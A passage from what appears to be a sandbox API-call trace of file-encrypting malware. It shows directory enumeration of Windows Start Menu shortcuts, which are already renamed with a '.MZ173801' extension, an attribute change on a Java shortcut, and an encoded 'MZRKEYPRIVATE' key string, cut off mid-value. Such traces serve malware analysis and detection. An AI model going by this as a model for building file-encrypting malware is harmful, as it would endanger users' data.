lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1db61d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c1db61d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa947dc43, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Component Services.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.449] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.449] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.449] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33042a24, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x33042a24, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa947dc43, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Computer Management.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.449] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.449] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x69cb7dde, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x399c4fa7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x399c4fa7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9517404, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="dfrgui.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64367fd2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x64367fd2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9588c26, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Disk Cleanup.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dc802b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dc802b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa95d5195, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Event Viewer.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa95fb257, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="iSCSI Initiator.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39893c6e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x39893c6e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa97c4d17, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Memory Diagnostics Tool.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa985d7b5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="ODBC Data Sources (32-bit).lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9883942, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="ODBC Data Sources (64-bit).lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.450] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.450] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9883942, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Performance Monitor.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.450] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8822b6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8822b6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa99425aa, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Print Management.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b4be2a0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b4be2a0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa99b4d59, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Resource Monitor.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c66c10d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c66c10d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9a4d641, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Security Configuration Management.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f116ee, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x32f116ee, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9c89a49, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="services.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b498035, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3b498035, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9d48411, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="System Configuration.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d51ec6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34d51ec6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9e7fcfa, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="System Information.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dee28b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dee28b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9ec5e01, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Task Scheduler.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9f5e688, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Firewall with Advanced Security.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.451] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.451] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.451] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2f6c78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e2f6c78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa9f5e688, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Firewall with Advanced Security.lnk.MZ173801", cAlternateFileName="")) returned 0 [0214.452] GetLastError () returned 0x12 [0214.452] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0214.452] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0214.452] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b0ade7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa5bb7b60, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x973, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Excel 2016.lnk.MZ173801", cAlternateFileName="EXCEL2~1.MZ1")) returned 1 [0214.452] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0214.452] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0214.452] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c6308a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c6308a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xa60563eb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Google Chrome.lnk.MZ173801", cAlternateFileName="GOOGLE~1.MZ1")) returned 1 [0214.452] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0214.452] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0214.452] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97a9db13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97a9db13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa68621d8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x92d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Immersive Control Panel.lnk.MZ173801", cAlternateFileName="")) returned 1 [0214.452] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0214.452] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0214.452] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Java", cAlternateFileName="")) returned 1 [0214.452] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0214.452] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0214.452] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0214.454] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabaf4d3e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0214.454] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x830, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="About Java.lnk", cAlternateFileName="ABOUTJ~1.LNK")) returned 1 [0214.454] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0214.454] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.454] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac589477, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac589477, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0214.474] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk")) returned 0x20 [0214.475] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk", dwFileAttributes=0x80) returned 1 [0214.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaO